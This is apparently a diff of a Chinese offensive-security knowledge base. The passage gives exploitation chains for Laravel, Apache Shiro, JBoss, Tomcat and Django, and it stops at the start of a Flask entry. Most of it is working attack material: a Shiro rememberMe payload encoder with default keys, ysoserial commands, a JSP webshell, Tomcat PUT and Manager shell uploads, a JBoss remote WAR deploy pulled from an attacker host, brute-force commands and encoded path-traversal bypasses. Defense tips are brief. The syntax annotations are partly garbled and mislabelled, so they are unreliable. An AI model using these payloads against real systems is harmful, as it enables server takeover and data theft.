> 调试模式信息泄露
|
|
1350
|
+
```
|
|
1351
|
+
# APP_DEBUG=true信息泄露
|
|
1352
|
+
# 访问触发错误的页面
|
|
1353
|
+
# 查看堆栈跟踪中的敏感信息
|
|
1354
|
+
|
|
1355
|
+
# 可能泄露:
|
|
1356
|
+
- 数据库凭证
|
|
1357
|
+
- API密钥
|
|
1358
|
+
- 环境变量
|
|
1359
|
+
- 服务器路径
|
|
1360
|
+
- 源代码片段
|
|
1361
|
+
```
|
|
1362
|
+
|
|
1363
|
+
**3. .env文件泄露**
|
|
1364
|
+
> .env文件泄露
|
|
1365
|
+
```
|
|
1366
|
+
# 尝试访问.env文件
|
|
1367
|
+
GET /.env HTTP/1.1
|
|
1368
|
+
GET /../.env HTTP/1.1
|
|
1369
|
+
GET /public/.env HTTP/1.1
|
|
1370
|
+
|
|
1371
|
+
# .env文件包含:
|
|
1372
|
+
APP_KEY=base64:...
|
|
1373
|
+
DB_HOST=localhost
|
|
1374
|
+
DB_DATABASE=laravel
|
|
1375
|
+
DB_USERNAME=root
|
|
1376
|
+
DB_PASSWORD=password
|
|
1377
|
+
```
|
|
1378
|
+
**语法解析:**
|
|
1379
|
+
- `127.0.0.1` — 本地回环 _domain_
|
|
1380
|
+
- `../` — 路径穿越 _path_
|
|
1381
|
+
- `base64` — Base64编码 _encoding_
|
|
1382
|
+
|
|
1383
|
+
**4. APP_KEY利用**
|
|
1384
|
+
> APP_KEY利用
|
|
1385
|
+
```
|
|
1386
|
+
# 获取APP_KEY后
|
|
1387
|
+
# 可以伪造Cookie
|
|
1388
|
+
# 解密加密数据
|
|
1389
|
+
|
|
1390
|
+
# 使用工具解密
|
|
1391
|
+
php artisan decrypt <encrypted_value>
|
|
1392
|
+
|
|
1393
|
+
# 伪造管理员Cookie
|
|
1394
|
+
# 需要了解应用加密方式
|
|
1395
|
+
```
|
|
1396
|
+
|
|
1397
|
+
**WAF/EDR 绕过变体:**
|
|
1398
|
+
|
|
1399
|
+
**路径绕过**
|
|
1400
|
+
> 路径绕过
|
|
1401
|
+
```
|
|
1402
|
+
# 尝试不同路径
|
|
1403
|
+
/.env
|
|
1404
|
+
/.env.example
|
|
1405
|
+
/.env.local
|
|
1406
|
+
/.env.production
|
|
1407
|
+
/../.env
|
|
1408
|
+
/..%2f.env
|
|
1409
|
+
/..%252f.env
|
|
1410
|
+
```
|
|
1411
|
+
**语法解析:**
|
|
1412
|
+
- `#` — 命令/载荷起始 _command_
|
|
1413
|
+
- ` 尝试不同路径
|
|
1414
|
+
/.env
|
|
1415
|
+
/.env.example
|
|
1416
|
+
/.env.local
|
|
1417
|
+
/.env.production
|
|
1418
|
+
/../.env
|
|
1419
|
+
/..%2f.env
|
|
1420
|
+
/..%252f.env` — 参数与载荷内容 _value_
|
|
1421
|
+
|
|
1422
|
+
|
|
1423
|
+
**概述:** Laravel是PHP最流行的现代框架,其RCE漏洞主要来自反序列化POP链、Debug模式信息泄露(Ignition组件)、以及不安全的配置(APP_KEY泄露导致加密Cookie伪造)。
|
|
1424
|
+
|
|
1425
|
+
**漏洞原理:** Laravel漏洞:1)Ignition RCE(CVE-2021-3129,通过清除日志+phar反序列化执行代码) 2)Cookie反序列化(APP_KEY泄露后伪造加密Cookie触发POP链) 3)Debug模式泄露数据库密码/API密钥 4)Blade模板注入({!!$input!!}未转义)。
|
|
1426
|
+
|
|
1427
|
+
**利用方法:** 完整利用流程:
|
|
1428
|
+
1. 检测Laravel版本和组件
|
|
1429
|
+
2. 尝试.env文件泄露
|
|
1430
|
+
3. 利用Ignition RCE
|
|
1431
|
+
4. 或利用APP_KEY伪造身份
|
|
1432
|
+
|
|
1433
|
+
**防御措施:** 防御措施:
|
|
1434
|
+
1. 关闭调试模式
|
|
1435
|
+
2. 升级Ignition组件
|
|
1436
|
+
3. 保护.env文件
|
|
1437
|
+
4. 定期轮换APP_KEY
|
|
1438
|
+
|
|
1439
|
+
---
|
|
1440
|
+
|
|
1441
|
+
### Apache Shiro反序列化 `shiro-deserialize`
|
|
1442
|
+
_Apache Shiro RememberMe反序列化漏洞_
|
|
1443
|
+
子类:**Apache Shiro** · tags: `shiro` `deserialization` `java` `rememberme`
|
|
1444
|
+
|
|
1445
|
+
**前置条件:**
|
|
1446
|
+
- 使用Apache Shiro
|
|
1447
|
+
- 存在漏洞版本
|
|
1448
|
+
|
|
1449
|
+
**攻击链:**
|
|
1450
|
+
|
|
1451
|
+
**1. 检测Shiro**
|
|
1452
|
+
> 检测Shiro框架
|
|
1453
|
+
```
|
|
1454
|
+
# 检测rememberMe Cookie
|
|
1455
|
+
# 响应中有rememberMe=deleteMe表示使用Shiro
|
|
1456
|
+
|
|
1457
|
+
# 使用工具检测
|
|
1458
|
+
git clone https://github.com/sv3nbeast/ShiroScan
|
|
1459
|
+
cd ShiroScan
|
|
1460
|
+
java -jar shiro_scan.jar -t http://target
|
|
1461
|
+
|
|
1462
|
+
# 或使用Burp插件
|
|
1463
|
+
# ShiroScan Burp插件
|
|
1464
|
+
```
|
|
1465
|
+
**语法解析:**
|
|
1466
|
+
- `rememberMe` — Shiro记住我功能Cookie _value_
|
|
1467
|
+
- `deleteMe` — Shiro删除Cookie标记 _value_
|
|
1468
|
+
|
|
1469
|
+
**2. 使用ysoserial生成payload**
|
|
1470
|
+
> 生成恶意payload
|
|
1471
|
+
```
|
|
1472
|
+
# 生成恶意序列化对象
|
|
1473
|
+
java -jar ysoserial.jar CommonsCollections2 "id" > payload.ser
|
|
1474
|
+
|
|
1475
|
+
# 使用Shiro内置密钥加密
|
|
1476
|
+
# 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
|
|
1477
|
+
|
|
1478
|
+
# Python加密脚本
|
|
1479
|
+
import base64
|
|
1480
|
+
from Crypto.Cipher import AES
|
|
1481
|
+
|
|
1482
|
+
def encode_rememberme(command):
|
|
1483
|
+
# 生成payload
|
|
1484
|
+
payload = os.popen(f"java -jar ysoserial.jar CommonsCollections2 \"{command}\"").read()
|
|
1485
|
+
|
|
1486
|
+
# AES加密
|
|
1487
|
+
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
|
|
1488
|
+
cipher = AES.new(key, AES.MODE_CBC, iv=key)
|
|
1489
|
+
|
|
1490
|
+
# PKCS5Padding
|
|
1491
|
+
pad = 16 - len(payload) % 16
|
|
1492
|
+
payload += bytes([pad]) * pad
|
|
1493
|
+
|
|
1494
|
+
encrypted = cipher.encrypt(payload)
|
|
1495
|
+
return base64.b64encode(encrypted).decode()
|
|
1496
|
+
```
|
|
1497
|
+
**语法解析:**
|
|
1498
|
+
- `base64` — Base64编码 _encoding_
|
|
1499
|
+
- `rememberMe` — Shiro记住我 _keyword_
|
|
1500
|
+
|
|
1501
|
+
**3. 发送恶意请求**
|
|
1502
|
+
> 发送恶意请求
|
|
1503
|
+
```
|
|
1504
|
+
# 使用curl
|
|
1505
|
+
curl -H "Cookie: rememberMe=<ENCODED_PAYLOAD>" http://target
|
|
1506
|
+
|
|
1507
|
+
# 使用工具
|
|
1508
|
+
git clone https://github.com/insightglacier/Shiro_exploit
|
|
1509
|
+
cd Shiro_exploit
|
|
1510
|
+
python3 shiro_exploit.py -t http://target -c "id"
|
|
1511
|
+
|
|
1512
|
+
# 使用ShiroAttack
|
|
1513
|
+
git clone https://github.com/acgbfull/ShiroAttack
|
|
1514
|
+
cd ShiroAttack
|
|
1515
|
+
java -jar ShiroAttack.jar
|
|
1516
|
+
```
|
|
1517
|
+
**语法解析:**
|
|
1518
|
+
- `curl` — HTTP请求工具 _command_
|
|
1519
|
+
- `-H` — 自定义请求头 _parameter_
|
|
1520
|
+
- `rememberMe` — Shiro记住我 _keyword_
|
|
1521
|
+
|
|
1522
|
+
**4. 常见密钥列表**
|
|
1523
|
+
> 常见密钥列表
|
|
1524
|
+
```
|
|
1525
|
+
# 常见Shiro密钥
|
|
1526
|
+
kPH+bIxk5D2deZiIxcaaaA==
|
|
1527
|
+
4AvVhmFLUs0KTA3Kprsdag==
|
|
1528
|
+
Z3VucwAAAAAAAAAAAAAAAA==
|
|
1529
|
+
fCq+/xW488hMTCD+cmJ3aQ==
|
|
1530
|
+
1QWLxg+NYmxraMoxAXu/Iw==
|
|
1531
|
+
25BsmdYwjnfcWmnhAciDDg==
|
|
1532
|
+
2AvVhdsgUs0F8SZSnWd+Zw==
|
|
1533
|
+
6ZmI6I2j5Y+R54aHjOqYzg==
|
|
1534
|
+
|
|
1535
|
+
# 尝试不同密钥
|
|
1536
|
+
# 或爆破密钥
|
|
1537
|
+
```
|
|
1538
|
+
|
|
1539
|
+
**WAF/EDR 绕过变体:**
|
|
1540
|
+
|
|
1541
|
+
**Gadget链选择**
|
|
1542
|
+
> Gadget链选择
|
|
1543
|
+
```
|
|
1544
|
+
# 不同Gadget链
|
|
1545
|
+
CommonsCollections2
|
|
1546
|
+
CommonsBeanutils1
|
|
1547
|
+
Jdk7u21
|
|
1548
|
+
JRMPClient
|
|
1549
|
+
|
|
1550
|
+
# 根据目标环境选择
|
|
1551
|
+
# 某些链可能被过滤
|
|
1552
|
+
```
|
|
1553
|
+
**语法解析:**
|
|
1554
|
+
- `#` — 命令/载荷起始 _command_
|
|
1555
|
+
- ` 不同Gadget链
|
|
1556
|
+
CommonsCollections2
|
|
1557
|
+
CommonsBeanutils1
|
|
1558
|
+
Jdk7u21
|
|
1559
|
+
JRMPClient
|
|
1560
|
+
|
|
1561
|
+
# 根据目标环境选择
|
|
1562
|
+
# 某些链可能被过滤` — 参数与载荷内容 _value_
|
|
1563
|
+
|
|
1564
|
+
**密钥爆破**
|
|
1565
|
+
> 密钥爆破
|
|
1566
|
+
```
|
|
1567
|
+
# 使用工具爆破密钥
|
|
1568
|
+
git clone https://github.com/insightglacier/Shiro_exploit
|
|
1569
|
+
python3 shiro_exploit.py -t http://target -f keys.txt
|
|
1570
|
+
|
|
1571
|
+
# 或使用ShiroScan
|
|
1572
|
+
java -jar shiro_scan.jar -t http://target -f keys.txt
|
|
1573
|
+
```
|
|
1574
|
+
**语法解析:**
|
|
1575
|
+
- `# 使用工具爆破密钥
|
|
1576
|
+
git clone https://github.com/insightglacier/Shiro_exploit
|
|
1577
|
+
python3 s` — 攻击载荷 _value_
|
|
1578
|
+
|
|
1579
|
+
|
|
1580
|
+
**概述:** Apache Shiro RememberMe功能使用AES加密序列化对象,密钥硬编码导致反序列化漏洞。
|
|
1581
|
+
|
|
1582
|
+
**漏洞原理:** Apache Shiro RememberMe Cookie使用AES-CBC加密(默认密钥kPH+bIxk5D2deZiIxcaaaA==)。攻击流程:1)检测特征(Cookie中的rememberMe=deleteMe) 2)使用默认密钥或爆破密钥 3)用ysoserial生成Gadget Chain 4)AES加密+Base64编码后设置为Cookie值。
|
|
1583
|
+
|
|
1584
|
+
**利用方法:** 完整利用流程:
|
|
1585
|
+
1. 检测Shiro框架
|
|
1586
|
+
2. 获取或爆破密钥
|
|
1587
|
+
3. 生成恶意序列化对象
|
|
1588
|
+
4. AES加密后发送
|
|
1589
|
+
5. 触发反序列化执行命令
|
|
1590
|
+
|
|
1591
|
+
**防御措施:** 防御措施:
|
|
1592
|
+
1. 更换默认密钥
|
|
1593
|
+
2. 升级Shiro版本
|
|
1594
|
+
3. 使用安全的序列化方案
|
|
1595
|
+
4. 监控异常Cookie
|
|
1596
|
+
|
|
1597
|
+
---
|
|
1598
|
+
|
|
1599
|
+
### JBoss漏洞利用 `jboss-vuln`
|
|
1600
|
+
_JBoss应用服务器漏洞_
|
|
1601
|
+
子类:**JBoss** · tags: `jboss` `rce` `java` `deserialization`
|
|
1602
|
+
|
|
1603
|
+
**前置条件:**
|
|
1604
|
+
- 使用JBoss服务器
|
|
1605
|
+
- 存在漏洞版本
|
|
1606
|
+
|
|
1607
|
+
**攻击链:**
|
|
1608
|
+
|
|
1609
|
+
**1. JMXInvokerServlet反序列化**
|
|
1610
|
+
> JMXInvokerServlet反序列化
|
|
1611
|
+
```
|
|
1612
|
+
# CVE-2015-7501
|
|
1613
|
+
# 发送恶意序列化对象
|
|
1614
|
+
POST /invoker/JMXInvokerServlet HTTP/1.1
|
|
1615
|
+
Content-Type: application/x-java-serialized-object
|
|
1616
|
+
|
|
1617
|
+
# 使用ysoserial生成payload
|
|
1618
|
+
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
|
|
1619
|
+
|
|
1620
|
+
# 发送
|
|
1621
|
+
curl -X POST -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.ser http://target/invoker/JMXInvokerServlet
|
|
1622
|
+
```
|
|
1623
|
+
**语法解析:**
|
|
1624
|
+
- `invoker/JMXInvokerServlet` — JBoss JMX调用端点 _encoding_
|
|
1625
|
+
- `x-java-serialized-object` — Java序列化对象类型 _value_
|
|
1626
|
+
|
|
1627
|
+
**2. JMX Console部署War包**
|
|
1628
|
+
> JMX Console部署War包
|
|
1629
|
+
```
|
|
1630
|
+
# 访问JMX Console
|
|
1631
|
+
http://target/jmx-console/
|
|
1632
|
+
|
|
1633
|
+
# 查找deploy方法
|
|
1634
|
+
# 找到 jboss.system:service=MainDeployer
|
|
1635
|
+
|
|
1636
|
+
# 部署远程War包
|
|
1637
|
+
# 使用deploy方法,URL参数指向恶意War
|
|
1638
|
+
http://target/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg=http://attacker/shell.war
|
|
1639
|
+
|
|
1640
|
+
# 访问部署的Shell
|
|
1641
|
+
http://target/shell/cmd.jsp?cmd=id
|
|
1642
|
+
```
|
|
1643
|
+
|
|
1644
|
+
**3. BSHDeployer部署**
|
|
1645
|
+
> BSHDeployer部署
|
|
1646
|
+
```
|
|
1647
|
+
# 使用BeanShell部署
|
|
1648
|
+
# 找到 jboss.scripts:service=BSHDeployer
|
|
1649
|
+
|
|
1650
|
+
# 执行BeanShell脚本
|
|
1651
|
+
# 通过createScriptDeployment方法
|
|
1652
|
+
|
|
1653
|
+
# 构造恶意脚本
|
|
1654
|
+
import java.io.*;
|
|
1655
|
+
Runtime rt = Runtime.getRuntime();
|
|
1656
|
+
Process p = rt.exec("id");
|
|
1657
|
+
InputStream is = p.getInputStream();
|
|
1658
|
+
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
|
|
1659
|
+
String line;
|
|
1660
|
+
while((line = reader.readLine()) != null) {
|
|
1661
|
+
print(line);
|
|
1662
|
+
}
|
|
1663
|
+
```
|
|
1664
|
+
**语法解析:**
|
|
1665
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
1666
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
1667
|
+
|
|
1668
|
+
**4. 使用工具**
|
|
1669
|
+
> 使用JexBoss工具
|
|
1670
|
+
```
|
|
1671
|
+
# JexBoss
|
|
1672
|
+
git clone https://github.com/joaomatosf/jexboss
|
|
1673
|
+
cd jexboss
|
|
1674
|
+
python jexboss.py -host http://target
|
|
1675
|
+
|
|
1676
|
+
# 自动化利用
|
|
1677
|
+
python jexboss.py -mode file-scan -file hosts.txt
|
|
1678
|
+
```
|
|
1679
|
+
|
|
1680
|
+
**WAF/EDR 绕过变体:**
|
|
1681
|
+
|
|
1682
|
+
**端点变体**
|
|
1683
|
+
> 端点变体
|
|
1684
|
+
```
|
|
1685
|
+
# 不同端点
|
|
1686
|
+
/invoker/JMXInvokerServlet
|
|
1687
|
+
/invoker/EJBInvokerServlet
|
|
1688
|
+
/invoker/readonly/JMXInvokerServlet
|
|
1689
|
+
/jmx-console/
|
|
1690
|
+
/web-console/
|
|
1691
|
+
```
|
|
1692
|
+
**语法解析:**
|
|
1693
|
+
- `#` — 命令/载荷起始 _command_
|
|
1694
|
+
- ` 不同端点
|
|
1695
|
+
/invoker/JMXInvokerServlet
|
|
1696
|
+
/invoker/EJBInvokerServlet
|
|
1697
|
+
/invoker/readonly/JMXInvokerServlet
|
|
1698
|
+
/jmx-console/
|
|
1699
|
+
/web-console/` — 参数与载荷内容 _value_
|
|
1700
|
+
|
|
1701
|
+
|
|
1702
|
+
**概述:** JBoss(现WildFly)是Red Hat的Java应用服务器,历史上存在大量严重漏洞:JMXInvokerServlet反序列化、JBossAS管理控制台未授权部署、EJBInvokerServlet远程调用等,是内网Java环境的高危资产。
|
|
1703
|
+
|
|
1704
|
+
**漏洞原理:** JBoss高危漏洞:1)JMXInvokerServlet反序列化(CVE-2015-7501) 2)/jmx-console/未授权访问部署WAR后门 3)/invoker/JMXInvokerServlet远程方法调用 4)EJBInvokerServlet反序列化 5)JBoss Seam参数化注入(CVE-2010-1871) 6)管理控制台弱口令(admin:admin)。
|
|
1705
|
+
|
|
1706
|
+
**利用方法:** 完整利用流程:
|
|
1707
|
+
1. 扫描JBoss服务
|
|
1708
|
+
2. 检测开放端点
|
|
1709
|
+
3. 利用反序列化或部署War
|
|
1710
|
+
4. 获取服务器权限
|
|
1711
|
+
|
|
1712
|
+
**防御措施:** 防御措施:
|
|
1713
|
+
1. 删除不必要的端点
|
|
1714
|
+
2. 实施访问控制
|
|
1715
|
+
3. 升级JBoss版本
|
|
1716
|
+
4. 网络隔离
|
|
1717
|
+
|
|
1718
|
+
---
|
|
1719
|
+
|
|
1720
|
+
### Apache Tomcat漏洞 `tomcat-vuln`
|
|
1721
|
+
_Apache Tomcat服务器漏洞利用_
|
|
1722
|
+
子类:**Tomcat** · tags: `tomcat` `rce` `java` `manager`
|
|
1723
|
+
|
|
1724
|
+
**前置条件:**
|
|
1725
|
+
- 使用Tomcat服务器
|
|
1726
|
+
- 存在漏洞版本或配置
|
|
1727
|
+
|
|
1728
|
+
**攻击链:**
|
|
1729
|
+
|
|
1730
|
+
**1. Manager App弱口令**
|
|
1731
|
+
> Manager App弱口令
|
|
1732
|
+
```
|
|
1733
|
+
# 访问Manager App
|
|
1734
|
+
http://target/manager/html
|
|
1735
|
+
|
|
1736
|
+
# 常见弱口令
|
|
1737
|
+
tomcat:tomcat
|
|
1738
|
+
admin:admin
|
|
1739
|
+
admin:tomcat
|
|
1740
|
+
|
|
1741
|
+
# 使用工具爆破
|
|
1742
|
+
hydra -l tomcat -P passwords.txt target http-get /manager/html
|
|
1743
|
+
```
|
|
1744
|
+
**语法解析:**
|
|
1745
|
+
- `/manager/html` — Tomcat管理界面 _value_
|
|
1746
|
+
|
|
1747
|
+
**2. 部署War包**
|
|
1748
|
+
> 部署War包
|
|
1749
|
+
```
|
|
1750
|
+
# 生成恶意War包
|
|
1751
|
+
# cmd.jsp
|
|
1752
|
+
<%@ page import="java.util.*,java.io.*"%>
|
|
1753
|
+
<% String cmd = request.getParameter("cmd");
|
|
1754
|
+
Process p = Runtime.getRuntime().exec(cmd);
|
|
1755
|
+
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
|
1756
|
+
String line;
|
|
1757
|
+
while((line = br.readLine()) != null) { out.println(line); }
|
|
1758
|
+
%>
|
|
1759
|
+
|
|
1760
|
+
# 打包
|
|
1761
|
+
jar cvf shell.war cmd.jsp
|
|
1762
|
+
|
|
1763
|
+
# 通过Manager上传
|
|
1764
|
+
curl -u tomcat:tomcat -T shell.war "http://target/manager/deploy?path=/shell"
|
|
1765
|
+
|
|
1766
|
+
# 访问Shell
|
|
1767
|
+
http://target/shell/cmd.jsp?cmd=id
|
|
1768
|
+
```
|
|
1769
|
+
**语法解析:**
|
|
1770
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
1771
|
+
- `curl` — HTTP请求工具 _command_
|
|
1772
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
1773
|
+
|
|
1774
|
+
**3. CVE-2020-1938 Ghostcat**
|
|
1775
|
+
> CVE-2020-1938 Ghostcat
|
|
1776
|
+
```
|
|
1777
|
+
# AJP文件读取/包含
|
|
1778
|
+
# 使用工具
|
|
1779
|
+
git clone https://github.com/chaitin/xray
|
|
1780
|
+
cd xray
|
|
1781
|
+
./xray_linux_amd64 webscan --plugins phantomjs --url http://target
|
|
1782
|
+
|
|
1783
|
+
# 或使用专用工具
|
|
1784
|
+
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
|
|
1785
|
+
cd CNVD-2020-10487-Tomcat-Ajp-lfi
|
|
1786
|
+
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml target
|
|
1787
|
+
```
|
|
1788
|
+
**语法解析:**
|
|
1789
|
+
- `AJP` — Apache JServ Protocol _value_
|
|
1790
|
+
- `8009` — AJP默认端口 _value_
|
|
1791
|
+
|
|
1792
|
+
**4. PUT方法任意文件写入**
|
|
1793
|
+
> PUT方法任意文件写入
|
|
1794
|
+
_platform: windows_
|
|
1795
|
+
```
|
|
1796
|
+
# CVE-2017-12615
|
|
1797
|
+
# Windows下PUT方法写文件
|
|
1798
|
+
PUT /shell.jsp%20 HTTP/1.1
|
|
1799
|
+
Host: target
|
|
1800
|
+
Content-Length: 24
|
|
1801
|
+
|
|
1802
|
+
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
|
|
1803
|
+
|
|
1804
|
+
# 或使用::$DATA
|
|
1805
|
+
PUT /shell.jsp::$DATA HTTP/1.1
|
|
1806
|
+
|
|
1807
|
+
# 或使用/
|
|
1808
|
+
PUT /shell.jsp/ HTTP/1.1
|
|
1809
|
+
```
|
|
1810
|
+
**语法解析:**
|
|
1811
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
1812
|
+
- `%xx` — URL编码 _encoding_
|
|
1813
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
1814
|
+
|
|
1815
|
+
**WAF/EDR 绕过变体:**
|
|
1816
|
+
|
|
1817
|
+
**文件名绕过**
|
|
1818
|
+
> 文件名绕过
|
|
1819
|
+
```
|
|
1820
|
+
# 不同文件名变体
|
|
1821
|
+
shell.jsp%20
|
|
1822
|
+
shell.jsp::$DATA
|
|
1823
|
+
shell.jsp/
|
|
1824
|
+
shell.jsp%00
|
|
1825
|
+
shell.jSp
|
|
1826
|
+
shell.jsP
|
|
1827
|
+
```
|
|
1828
|
+
**语法解析:**
|
|
1829
|
+
- `#` — 命令/载荷起始 _command_
|
|
1830
|
+
- ` 不同文件名变体
|
|
1831
|
+
shell.jsp%20
|
|
1832
|
+
shell.jsp::$DATA
|
|
1833
|
+
shell.jsp/
|
|
1834
|
+
shell.jsp%00
|
|
1835
|
+
shell.jSp
|
|
1836
|
+
shell.jsP` — 参数与载荷内容 _value_
|
|
1837
|
+
|
|
1838
|
+
|
|
1839
|
+
**概述:** Apache Tomcat是最广泛使用的Java Servlet容器,常见漏洞包括AJP文件读取/包含(GhostCat)、PUT方法写文件、Manager部署WAR后门等。Tomcat的Manager应用弱口令(tomcat:tomcat)是最常见的入侵入口。
|
|
1840
|
+
|
|
1841
|
+
**漏洞原理:** Tomcat高危漏洞:1)AJP协议文件读取/包含(CVE-2020-1938 GhostCat) 2)PUT方法写文件(CVE-2017-12615) 3)Manager应用弱口令部署WAR WebShell 4)Session反序列化(FileStore持久化) 5)JSP执行路径穿越(CVE-2020-9484) 6)默认页面信息泄露。
|
|
1842
|
+
|
|
1843
|
+
**利用方法:** 完整利用流程:
|
|
1844
|
+
1. 扫描Tomcat服务
|
|
1845
|
+
2. 尝试弱口令登录
|
|
1846
|
+
3. 部署恶意War包
|
|
1847
|
+
4. 或利用其他CVE漏洞
|
|
1848
|
+
|
|
1849
|
+
**防御措施:** 防御措施:
|
|
1850
|
+
1. 修改默认口令
|
|
1851
|
+
2. 限制Manager访问
|
|
1852
|
+
3. 禁用AJP或配置secret
|
|
1853
|
+
4. 升级Tomcat版本
|
|
1854
|
+
|
|
1855
|
+
---
|
|
1856
|
+
|
|
1857
|
+
### Django框架漏洞 `django-vuln`
|
|
1858
|
+
_Django框架安全漏洞_
|
|
1859
|
+
子类:**Django** · tags: `django` `python` `framework` `sql`
|
|
1860
|
+
|
|
1861
|
+
**前置条件:**
|
|
1862
|
+
- 使用Django框架
|
|
1863
|
+
- 存在漏洞版本
|
|
1864
|
+
|
|
1865
|
+
**攻击链:**
|
|
1866
|
+
|
|
1867
|
+
**1. SQL注入**
|
|
1868
|
+
> CVE-2020-7471 SQL注入
|
|
1869
|
+
```
|
|
1870
|
+
# CVE-2020-7471
|
|
1871
|
+
# 通过PostgreSQL输入验证绕过
|
|
1872
|
+
# 使用JSONField/HStoreField
|
|
1873
|
+
|
|
1874
|
+
# 构造恶意查询
|
|
1875
|
+
Model.objects.filter(data__contains={"key": "value; SELECT SLEEP(5);--"})
|
|
1876
|
+
|
|
1877
|
+
# 或使用ArrayField
|
|
1878
|
+
Model.objects.filter(tags__contains=["tag'); SELECT SLEEP(5);--"])
|
|
1879
|
+
|
|
1880
|
+
# 触发SQL注入
|
|
1881
|
+
```
|
|
1882
|
+
**语法解析:**
|
|
1883
|
+
- `JSONField` — Django JSON字段 _value_
|
|
1884
|
+
- `__contains` — Django查询语法 _value_
|
|
1885
|
+
|
|
1886
|
+
**2. 调试模式信息泄露**
|
|
1887
|
+
> 调试模式信息泄露
|
|
1888
|
+
```
|
|
1889
|
+
# DEBUG=True时
|
|
1890
|
+
# 错误页面泄露:
|
|
1891
|
+
- 源代码
|
|
1892
|
+
- 环境变量
|
|
1893
|
+
- 数据库配置
|
|
1894
|
+
- SECRET_KEY
|
|
1895
|
+
- 服务器路径
|
|
1896
|
+
|
|
1897
|
+
# 访问不存在的页面触发错误
|
|
1898
|
+
http://target/nonexistent
|
|
1899
|
+
|
|
1900
|
+
# 或触发异常
|
|
1901
|
+
```
|
|
1902
|
+
|
|
1903
|
+
**3. SECRET_KEY利用**
|
|
1904
|
+
> SECRET_KEY利用
|
|
1905
|
+
```
|
|
1906
|
+
# 获取SECRET_KEY后
|
|
1907
|
+
# 可以:
|
|
1908
|
+
# 1. 签名伪造Session
|
|
1909
|
+
# 2. 签名伪造CSRF Token
|
|
1910
|
+
# 3. 密码重置Token
|
|
1911
|
+
|
|
1912
|
+
# 使用django-session-cleanup工具
|
|
1913
|
+
# 或手动解签
|
|
1914
|
+
|
|
1915
|
+
import django.core.signing as signing
|
|
1916
|
+
|
|
1917
|
+
# 解签Session
|
|
1918
|
+
signing.loads(session_value, key=SECRET_KEY)
|
|
1919
|
+
|
|
1920
|
+
# 签名伪造Session
|
|
1921
|
+
fake_session = signing.dumps({"user_id": 1}, key=SECRET_KEY)
|
|
1922
|
+
```
|
|
1923
|
+
|
|
1924
|
+
**4. 路径遍历**
|
|
1925
|
+
> 路径遍历漏洞
|
|
1926
|
+
```
|
|
1927
|
+
# CVE-2021-28658
|
|
1928
|
+
# Django静态文件路径遍历
|
|
1929
|
+
GET /static/../../../../etc/passwd
|
|
1930
|
+
|
|
1931
|
+
# 使用工具检测
|
|
1932
|
+
curl http://target/static/../../../../etc/passwd
|
|
1933
|
+
```
|
|
1934
|
+
**语法解析:**
|
|
1935
|
+
- `curl` — HTTP请求工具 _command_
|
|
1936
|
+
- `../` — 路径穿越 _path_
|
|
1937
|
+
- `/etc/passwd` — 敏感文件路径 _path_
|
|
1938
|
+
|
|
1939
|
+
**WAF/EDR 绕过变体:**
|
|
1940
|
+
|
|
1941
|
+
**编码绕过**
|
|
1942
|
+
> 编码绕过
|
|
1943
|
+
```
|
|
1944
|
+
# URL编码
|
|
1945
|
+
/static/%2e%2e/%2e%2e/etc/passwd
|
|
1946
|
+
|
|
1947
|
+
# 双重编码
|
|
1948
|
+
/static/%252e%252e/%252e%252e/etc/passwd
|
|
1949
|
+
|
|
1950
|
+
# Unicode编码
|
|
1951
|
+
/static/..%c0%af..%c0%af/etc/passwd
|
|
1952
|
+
```
|
|
1953
|
+
**语法解析:**
|
|
1954
|
+
- `#` — 命令/载荷起始 _command_
|
|
1955
|
+
- ` URL编码
|
|
1956
|
+
/static/%2e%2e/%2e%2e/etc/passwd
|
|
1957
|
+
|
|
1958
|
+
# 双重编码
|
|
1959
|
+
/static/%252e%252e/%252e%252e/etc/passwd
|
|
1960
|
+
|
|
1961
|
+
# Unicode编码
|
|
1962
|
+
/static/..%c0%af..%c0%af/etc/passwd` — 参数与载荷内容 _value_
|
|
1963
|
+
|
|
1964
|
+
|
|
1965
|
+
**概述:** Django是Python最成熟的Web框架,安全机制完善但仍存在漏洞:SQL注入(JSONField/Raw SQL)、Debug模式信息泄露、CSRF Token绕过、模板注入(自定义标签)等。Django的安全响应团队会及时发布安全更新。
|
|
1966
|
+
|
|
1967
|
+
**漏洞原理:** Django漏洞:1)Debug模式(DEBU=True)泄露完整配置、数据库信息、源代码路径 2)JSONField/HStoreField SQL注入(CVE-2019-14234) 3)Truncation攻击(邮件地址截断绕过) 4)StringAgg SQL注入 5)URL验证绕过(is_valid_url) 6)密码重置Token预测。
|
|
1968
|
+
|
|
1969
|
+
**利用方法:** 完整利用流程:
|
|
1970
|
+
1. 检测Django版本
|
|
1971
|
+
2. 利用调试模式获取信息
|
|
1972
|
+
3. 利用SQL注入
|
|
1973
|
+
4. 或利用SECRET_KEY伪造身份
|
|
1974
|
+
|
|
1975
|
+
**防御措施:** 防御措施:
|
|
1976
|
+
1. 关闭调试模式
|
|
1977
|
+
2. 升级Django版本
|
|
1978
|
+
3. 保护SECRET_KEY
|
|
1979
|
+
4. 输入验证
|
|
1980
|
+
|
|
1981
|
+
---
|
|
1982
|
+
|
|
1983
|
+
### Flask框架漏洞 `flask-vuln`
|
|
1984
|
+
_Flask框架安全漏洞_
|
|
1985
|
+
子类:**Flask** · tags: `flask` `python` `framework` `ssti`
|
|
1986
|
+
|
|
1987
|
+
**前置条件:**
|
|
1988
|
+
- 使用Flask框架
|
|
1989
|
+
- 存在漏洞配置
|
|
1990
|
+
|
|
1991
|
+
**攻击链:**
|
|
1992
|
+
|
